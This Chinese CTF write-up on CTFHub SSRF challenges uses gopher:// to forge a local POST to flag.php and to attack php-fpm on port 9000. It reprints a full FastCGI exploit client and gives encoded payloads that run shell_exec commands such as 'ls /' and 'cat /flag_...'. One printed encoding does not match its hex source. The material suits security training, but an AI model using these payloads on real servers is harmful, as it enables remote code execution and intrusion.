ssrf使用gopher协议
前面提过了，ssrf是当我们可以利用url传参或者其它形式伪造成本地服务器向本地服务器或内网服务器发送请求的漏洞。
ctfhub中这几道ssrf题给出的环境是这样的
首先访问到题目给出的地址，啥都没有，打开hackbar来load一下url，
http://challenge-f937f4ffdd5e9df4.sandbox.ctfhub.com:10080/?url=_暗示url参数为注入点
尝试注入
http://challenge-f937f4ffdd5e9df4.sandbox.ctfhub.com:10080/?url=file:///var/www/html/index.php
这里url参数是由它的服务器本身发起的请求，所以可以直接尝试访问服务器本地的文件访问后表面上没有什么东西，查看一下源码
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
?>这样拿到了index.php的源码。
重点在于curl_exec($ch);这句，意思是curl执行了url参数的数据，一个直接了当的ssrf漏洞
看看curl支持的协议
这是我本地的7.60版本的curl，支持的协议非常多，包括dict、file、ftp、gopher等，后面新版本的curl好像撤销了对一些协议的支持，包括gopher协议。不过这道题肯定是支持gopher协议的。
题目的名字是POST请求，ssrf最常使用的POST请求方式就是利用gopher协议。
这些信息可以让我们确定攻击手段，而攻击入手点还要继续查看信息。既然本地可以访问到index.php的源码，那么自然而然的可以想到查看一下本地其它文件，如flag.php。
先以http协议方式访问http://challenge-f937f4ffdd5e9df4.sandbox.ctfhub.com:10080/?url=http://127.0.0.1/flag.php
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=8aedbe1fa89210aac9866e1b9cad9b2b-->
</form>得到一个没有提交按钮的表单，和一个key（提交按钮可以自己修改前端代码加上去的）
再以file伪协议方式访问本地文件http://challenge-f937f4ffdd5e9df4.sandbox.ctfhub.com:10080/?url=file:///var/www/html/flag.php
代码审计可知，我们只需要在本地发起POST请求传一个参数key就可以得到flag了。
这里有一个点是$_SERVER["REMOTE_ADDR"]是“可靠”的请求端ip地址，是服务端在进行TCP握手时获得的，从技术上来说是几乎不可能伪造的，与$_SERVER["HTTP_X_FORWARDED_FOR"]和$_SERVER["HTTP_CLIENT_IP"]这两个可以通过修改http报头轻松伪造的参数不同。这也是为什么我们要使用ssrf来伪造本地服务器发起POST请求。
所以这个题的思路就是构造一个gopher请求通过url参数伪造成本地服务器向flag.php发起的请求。
向flag.php发送POST请求，然后用burpsuite把包抓下来
不需要那么多数据，只要以下几行即可
POST /flag.php HTTP/1.1
Host: challenge-f937f4ffdd5e9df4.sandbox.ctfhub.com:10080
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
Connection: close
key=8aedbe1fa89210aac9866e1b9cad9b2b放到hackbar里或者随便什么方式进行url编码转换一次，然后把里面所有的%0A替换成%0D%0A，再url编码转换一次。（因为url参数中的数据相当于请求了两次，所以要转换两次）
最后的payload
http://challenge-f937f4ffdd5e9df4.sandbox.ctfhub.com:10080/?url=gopher://127.0.0.1:80/flag/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520challenge-f937f4ffdd5e9df4.sandbox.ctfhub.com%253A10080%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AConnection%253A%2520close%250D%250A%250D%250Akey%253D8aedbe1fa89210aac9866e1b9cad9b2b记得gopher的默认端口是70，如果要发送请求到其它端口，记得修改
这就是利用gopher进行ssrf的POST请求。
简化一下流程：
1.侦测注入点
2.找到攻击对象，如“flag.php”
3.构造gopher数据（最常见的就是通过本地请求，本地抓包，然后手动或者脚本构造）
4.进行攻击FastCGI协议攻击
关于FastCGI，下面这篇文章写得很清楚
https://blog.csdn.net/mysteryflower/article/details/94386461
文章最后那个脚本的链接需要梯子才能打开
我直接放在这里
# fpm.py
import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php or /usr/local/lib/php/PEAR.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))以py fpm.py host path -c [php语句] -p port格式执行即可
接下来实现一下，便可以基本理解对FastCGI协议的攻击原理了
第一步，构造攻击流量
使用脚本对本地9000端口发出攻击流量，监听本地9000端口并把流量抓下来
将监听到的流量输出到output.txt文件中
发起攻击
查看output.txt
是乱码，因为TCP流是二进制数据
随便用什么方式把其中的16进制数据拷贝出来，我使用了HxD
把16进制数据拷贝下来
转成url编码
可以写脚本解决
hex="01 01 36 20 00 08 00 00 00 01 00 00 00 00 00 00 01 04 36 20 01 E7 00 00 11 0B 47 41 54 45 57 41 59 5F 49 4E 54 45 52 46 41 43 45 46 61 73 74 43 47 49 2F 31 2E 30 0E 04 52 45 51 55 45 53 54 5F 4D 45 54 48 4F 44 50 4F 53 54 0F 1B 53 43 52 49 50 54 5F 46 49 4C 45 4E 41 4D 45 2F 75 73 72 2F 6C 6F 63 61 6C 2F 6C 69 62 2F 70 68 70 2F 50 45 41 52 2E 70 68 70 0B 1B 53 43 52 49 50 54 5F 4E 41 4D 45 2F 75 73 72 2F 6C 6F 63 61 6C 2F 6C 69 62 2F 70 68 70 2F 50 45 41 52 2E 70 68 70 0C 00 51 55 45 52 59 5F 53 54 52 49 4E 47 0B 1B 52 45 51 55 45 53 54 5F 55 52 49 2F 75 73 72 2F 6C 6F 63 61 6C 2F 6C 69 62 2F 70 68 70 2F 50 45 41 52 2E 70 68 70 0D 01 44 4F 43 55 4D 45 4E 54 5F 52 4F 4F 54 2F 0F 0E 53 45 52 56 45 52 5F 53 4F 46 54 57 41 52 45 70 68 70 2F 66 63 67 69 63 6C 69 65 6E 74 0B 09 52 45 4D 4F 54 45 5F 41 44 44 52 31 32 37 2E 30 2E 30 2E 31 0B 04 52 45 4D 4F 54 45 5F 50 4F 52 54 39 39 38 35 0B 09 53 45 52 56 45 52 5F 41 44 44 52 31 32 37 2E 30 2E 30 2E 31 0B 02 53 45 52 56 45 52 5F 50 4F 52 54 38 30 0B 09 53 45 52 56 45 52 5F 4E 41 4D 45 6C 6F 63 61 6C 68 6F 73 74 0F 08 53 45 52 56 45 52 5F 50 52 4F 54 4F 43 4F 4C 48 54 54 50 2F 31 2E 31 0C 10 43 4F 4E 54 45 4E 54 5F 54 59 50 45 61 70 70 6C 69 63 61 74 69 6F 6E 2F 74 65 78 74 0E 02 43 4F 4E 54 45 4E 54 5F 4C 45 4E 47 54 48 37 36 09 1F 50 48 50 5F 56 41 4C 55 45 61 75 74 6F 5F 70 72 65 70 65 6E 64 5F 66 69 6C 65 20 3D 20 70 68 70 3A 2F 2F 69 6E 70 75 74 0F 16 50 48 50 5F 41 44 4D 49 4E 5F 56 41 4C 55 45 61 6C 6C 6F 77 5F 75 72 6C 5F 69 6E 63 6C 75 64 65 20 3D 20 4F 6E 01 04 36 20 00 00 00 00 01 05 36 20 00 4C 00 00 3C 3F 70 68 70 20 76 61 72 5F 64 75 6D 70 28 73 68 65 6C 6C 5F 65 78 65 63 28 27 63 61 74 20 2F 66 6C 61 67 5F 38 36 34 34 64 39 62 36 37 65 65 61 66 36 62 30 32 63 65 31 36 34 65 30 34 31 34 35 35 34 37 31 27 29 29 3B 20 3F 3E 01 05 36 20 00 00 00 00"
a=hex.replace(' ','')
b=''
length=len(a)
for i in range(0,length,2):
b+='%'
b+=a[i]
b+=a[i+1]
print(b)输出url编码
%01%01%DC%C5%00%08%00%00%00%01%00%00%00%00%00%00%01%04%DC%C5%01%E7%00%00%11%0B%47%41%54%45%57%41%59%5F%49%4E%54%45%52%46%41%43%45%46%61%73%74%43%47%49%2F%31%2E%30%0E%04%52%45%51%55%45%53%54%5F%4D%45%54%48%4F%44%50%4F%53%54%0F%1B%53%43%52%49%50%54%5F%46%49%4C%45%4E%41%4D%45%2F%75%73%72%2F%6C%6F%63%61%6C%2F%6C%69%62%2F%70%68%70%2F%50%45%41%52%2E%70%68%70%0B%1B%53%43%52%49%50%54%5F%4E%41%4D%45%2F%75%73%72%2F%6C%6F%63%61%6C%2F%6C%69%62%2F%70%68%70%2F%50%45%41%52%2E%70%68%70%0C%00%51%55%45%52%59%5F%53%54%52%49%4E%47%0B%1B%52%45%51%55%45%53%54%5F%55%52%49%2F%75%73%72%2F%6C%6F%63%61%6C%2F%6C%69%62%2F%70%68%70%2F%50%45%41%52%2E%70%68%70%0D%01%44%4F%43%55%4D%45%4E%54%5F%52%4F%4F%54%2F%0F%0E%53%45%52%56%45%52%5F%53%4F%46%54%57%41%52%45%70%68%70%2F%66%63%67%69%63%6C%69%65%6E%74%0B%09%52%45%4D%4F%54%45%5F%41%44%44%52%31%32%37%2E%30%2E%30%2E%31%0B%04%52%45%4D%4F%54%45%5F%50%4F%52%54%39%39%38%35%0B%09%53%45%52%56%45%52%5F%41%44%44%52%31%32%37%2E%30%2E%30%2E%31%0B%02%53%45%52%56%45%52%5F%50%4F%52%54%38%30%0B%09%53%45%52%56%45%52%5F%4E%41%4D%45%6C%6F%63%61%6C%68%6F%73%74%0F%08%53%45%52%56%45%52%5F%50%52%4F%54%4F%43%4F%4C%48%54%54%50%2F%31%2E%31%0C%10%43%4F%4E%54%45%4E%54%5F%54%59%50%45%61%70%70%6C%69%63%61%74%69%6F%6E%2F%74%65%78%74%0E%02%43%4F%4E%54%45%4E%54%5F%4C%45%4E%47%54%48%33%38%09%1F%50%48%50%5F%56%41%4C%55%45%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%20%3D%20%70%68%70%3A%2F%2F%69%6E%70%75%74%0F%16%50%48%50%5F%41%44%4D%49%4E%5F%56%41%4C%55%45%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%20%3D%20%4F%6E%01%04%DC%C5%00%00%00%00%01%05%DC%C5%00%26%00%00%3C%3F%70%68%70%20%76%61%72%5F%64%75%6D%70%28%73%68%65%6C%6C%5F%65%78%65%63%28%27%6C%73%20%2F%27%29%29%3B%20%3F%3E%01%05%DC%C5%00%00%00%00这就是gopher协议的主体内容了，用它构造payload，记得还要再url编码一次。端口是fpm服务默认的9000
http://challenge-605c3873bacccb09.sandbox.ctfhub.com:10080/?url=gopher://127.0.0.1:9000/_%2501%2501%2536%2520%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2536%2520%2501%25E7%2500%2500%2511%250B%2547%2541%2554%2545%2557%2541%2559%255F%2549%254E%2554%2545%2552%2546%2541%2543%2545%2546%2561%2573%2574%2543%2547%2549%252F%2531%252E%2530%250E%2504%2552%2545%2551%2555%2545%2553%2554%255F%254D%2545%2554%2548%254F%2544%2550%254F%2553%2554%250F%251B%2553%2543%2552%2549%2550%2554%255F%2546%2549%254C%2545%254E%2541%254D%2545%252F%2575%2573%2572%252F%256C%256F%2563%2561%256C%252F%256C%2569%2562%252F%2570%2568%2570%252F%2550%2545%2541%2552%252E%2570%2568%2570%250B%251B%2553%2543%2552%2549%2550%2554%255F%254E%2541%254D%2545%252F%2575%2573%2572%252F%256C%256F%2563%2561%256C%252F%256C%2569%2562%252F%2570%2568%2570%252F%2550%2545%2541%2552%252E%2570%2568%2570%250C%2500%2551%2555%2545%2552%2559%255F%2553%2554%2552%2549%254E%2547%250B%251B%2552%2545%2551%2555%2545%2553%2554%255F%2555%2552%2549%252F%2575%2573%2572%252F%256C%256F%2563%2561%256C%252F%256C%2569%2562%252F%2570%2568%2570%252F%2550%2545%2541%2552%252E%2570%2568%2570%250D%2501%2544%254F%2543%2555%254D%2545%254E%2554%255F%2552%254F%254F%2554%252F%250F%250E%2553%2545%2552%2556%2545%2552%255F%2553%254F%2546%2554%2557%2541%2552%2545%2570%2568%2570%252F%2566%2563%2567%2569%2563%256C%2569%2565%256E%2574%250B%2509%2552%2545%254D%254F%2554%2545%255F%2541%2544%2544%2552%2531%2532%2537%252E%2530%252E%2530%252E%2531%250B%2504%2552%2545%254D%254F%2554%2545%255F%2550%254F%2552%2554%2539%2539%2538%2535%250B%2509%2553%2545%2552%2556%2545%2552%255F%2541%2544%2544%2552%2531%2532%2537%252E%2530%252E%2530%252E%2531%250B%2502%2553%2545%2552%2556%2545%2552%255F%2550%254F%2552%2554%2538%2530%250B%2509%2553%2545%2552%2556%2545%2552%255F%254E%2541%254D%2545%256C%256F%2563%2561%256C%2568%256F%2573%2574%250F%2508%2553%2545%2552%2556%2545%2552%255F%2550%2552%254F%2554%254F%2543%254F%254C%2548%2554%2554%2550%252F%2531%252E%2531%250C%2510%2543%254F%254E%2554%2545%254E%2554%255F%2554%2559%2550%2545%2561%2570%2570%256C%2569%2563%2561%2574%2569%256F%256E%252F%2574%2565%2578%2574%250E%2502%2543%254F%254E%2554%2545%254E%2554%255F%254C%2545%254E%2547%2554%2548%2537%2536%2509%251F%2550%2548%2550%255F%2556%2541%254C%2555%2545%2561%2575%2574%256F%255F%2570%2572%2565%2570%2565%256E%2564%255F%2566%2569%256C%2565%2520%253D%2520%2570%2568%2570%253A%252F%252F%2569%256E%2570%2575%2574%250F%2516%2550%2548%2550%255F%2541%2544%254D%2549%254E%255F%2556%2541%254C%2555%2545%2561%256C%256C%256F%2577%255F%2575%2572%256C%255F%2569%256E%2563%256C%2575%2564%2565%2520%253D%2520%254F%256E%2501%2504%2536%2520%2500%2500%2500%2500%2501%2505%2536%2520%2500%254C%2500%2500%253C%253F%2570%2568%2570%2520%2576%2561%2572%255F%2564%2575%256D%2570%2528%2573%2568%2565%256C%256C%255F%2565%2578%2565%2563%2528%2527%2563%2561%2574%2520%252F%2566%256C%2561%2567%255F%2538%2536%2534%2534%2564%2539%2562%2536%2537%2565%2565%2561%2566%2536%2562%2530%2532%2563%2565%2531%2536%2534%2565%2530%2534%2531%2534%2535%2535%2534%2537%2531%2527%2529%2529%253B%2520%253F%253E%2501%2505%2536%2520%2500%2500%2500%2500执行后返回了服务器的根目录，里面有个“flag_8644d9b67eeaf6b02ce164e041455471”
那么只要将执行脚本时输入的php语句换成<?php var_dump(shell_exec("cat /flag_8644d9b67eeaf6b02ce164e041455471")) ?>,然后再重复一遍以上过程就可以了
这样就拿到了flag
总结流程：
1.探测开放端口（这道题不用）
2.本地构造攻击流量，通过监听端口然后url转码的形式
3.ssrf攻击
